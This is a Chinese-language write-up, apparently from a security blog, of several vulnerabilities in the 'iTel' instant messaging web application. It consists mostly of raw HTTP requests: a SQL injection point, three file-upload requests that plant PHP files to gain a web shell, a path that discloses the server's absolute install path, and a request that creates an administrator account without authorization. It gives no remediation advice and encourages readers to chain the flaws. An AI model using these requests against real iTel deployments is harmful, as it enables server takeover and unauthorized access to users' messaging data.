iTel即时通讯-安全漏洞-麻瓜安全

iTel即时通讯演示

（后台地址：127.0.0.1/admin/login.php）

电脑端如下：

一. 注入

1.前台注入0x1

/api/group.php 注入点

还有一处注入点在cookie处当时觉得爆一个注入点够用了没记录

POST /api/group.php?act=setReadTime HTTP/1.1
Host: 192.168.0.127:9301
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 122
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=65i0bhevvajn2cad1k43apdrr6; auth=auth_16710716955897
Origin: http://192.168.0.127:9301
Referer: http://192.168.0.127:9301/pc/index.php
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

group_id=1&isgroup=0

2.前台getshell第一弹

POST /admin/inc/uploadsave.php?action=add HTTP/1.1
Host: 192.168.0.127:9301
Content-Length: 742
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.127:9301
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykz0XaGXiMD4x24GB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.127:9301/admin/inc/upload.php?returnid=logo&image=1&path=ico
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 
Connection: close

------WebKitFormBoundarykz0XaGXiMD4x24GB
Content-Disposition: form-data; name="imgurl"; filename="2.php"
Content-Type: image/jpeg

<?php phpinfo(); ?>
------WebKitFormBoundarykz0XaGXiMD4x24GB
Content-Disposition: form-data; name="returnid"

logo
------WebKitFormBoundarykz0XaGXiMD4x24GB
Content-Disposition: form-data; name="path"

ico
------WebKitFormBoundarykz0XaGXiMD4x24GB
Content-Disposition: form-data; name="pre"


------WebKitFormBoundarykz0XaGXiMD4x24GB
Content-Disposition: form-data; name="mark"


------WebKitFormBoundarykz0XaGXiMD4x24GB
Content-Disposition: form-data; name="image"

1
------WebKitFormBoundarykz0XaGXiMD4x24GB--

成功getshell

3.前台getshell第二弹

POST /api/upload.php?act=uploadImage HTTP/1.1
Host: 192.168.0.127:9301
Content-Length: 664
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.aaa.com:9301
Content-Type:multipart/form-data;boundary=----WebKitFormBoundaryFxlzCjxq9fFxcATp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.127:9301/inc/upload.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 
Connection: close

------WebKitFormBoundaryFxlzCjxq9fFxcATp
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

111<?php phpinfo(); ?>
------WebKitFormBoundaryFxlzCjxq9fFxcATp
Content-Disposition: form-data; name="imgData"

1

------WebKitFormBoundaryFxlzCjxq9fFxcATp
Content-Disposition: form-data; name="path"


------WebKitFormBoundaryFxlzCjxq9fFxcATp
Content-Disposition: form-data; name="pre"


------WebKitFormBoundaryFxlzCjxq9fFxcATp
Content-Disposition: form-data; name="mark"


------WebKitFormBoundaryFxlzCjxq9fFxcATp
Content-Disposition: form-data; name="image"

1

------WebKitFormBoundaryFxlzCjxq9fFxcATp--

成功getshell

4.前台getshell第三弹【针对某款二开需要爆时间戳】

POST /inc/uploadsave.php?action=add HTTP/1.1
Host: 192.168.0.127:9301
Content-Length: 646
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6DI8x1Uh4LoWva9w
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=jgaskfc7j1bbeecotkmabl20f4; auth=auth_16710863006460
Connection: close

------WebKitFormBoundary6DI8x1Uh4LoWva9w
Content-Disposition: form-data; name="imgurl"; filename="000.exe"
Content-Type: image/jpeg

666
------WebKitFormBoundary6DI8x1Uh4LoWva9w
Content-Disposition: form-data; name="returnid"


------WebKitFormBoundary6DI8x1Uh4LoWva9w
Content-Disposition: form-data; name="path"


------WebKitFormBoundary6DI8x1Uh4LoWva9w
Content-Disposition: form-data; name="pre"


------WebKitFormBoundary6DI8x1Uh4LoWva9w
Content-Disposition: form-data; name="mark"


------WebKitFormBoundary6DI8x1Uh4LoWva9w
Content-Disposition: form-data; name="image"

1
------WebKitFormBoundary6DI8x1Uh4LoWva9w--

二.爆绝对路径

针对某些二开无法前台getshell的兄弟想打组合拳的可以拿路径用

/style/kindeditor/php/file_manager_json.php

三.未授权添加管理员

后台地址：127.0.0.1/admin/login.php

POST /admin/admin/action.php?action=add&id= HTTP/1.1
Host: 127.0.0.1
Content-Length: 715
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYKoHpFMhiRaD3j8G
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1/admin/admin/add.php?from=parent
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2j5utsjvljt2qsa1acqq5lv0j2; auth=auth_16727381444700
Connection: close

------WebKitFormBoundaryYKoHpFMhiRaD3j8G
Content-Disposition: form-data; name="name"

test
------WebKitFormBoundaryYKoHpFMhiRaD3j8G
Content-Disposition: form-data; name="pwd"

aaa123456
------WebKitFormBoundaryYKoHpFMhiRaD3j8G
Content-Disposition: form-data; name="pwdcheck"

aaa123456
------WebKitFormBoundaryYKoHpFMhiRaD3j8G
Content-Disposition: form-data; name="realname"


------WebKitFormBoundaryYKoHpFMhiRaD3j8G
Content-Disposition: form-data; name="group"

6
------WebKitFormBoundaryYKoHpFMhiRaD3j8G
Content-Disposition: form-data; name="email"


------WebKitFormBoundaryYKoHpFMhiRaD3j8G
Content-Disposition: form-data; name="Submit"


------WebKitFormBoundaryYKoHpFMhiRaD3j8G--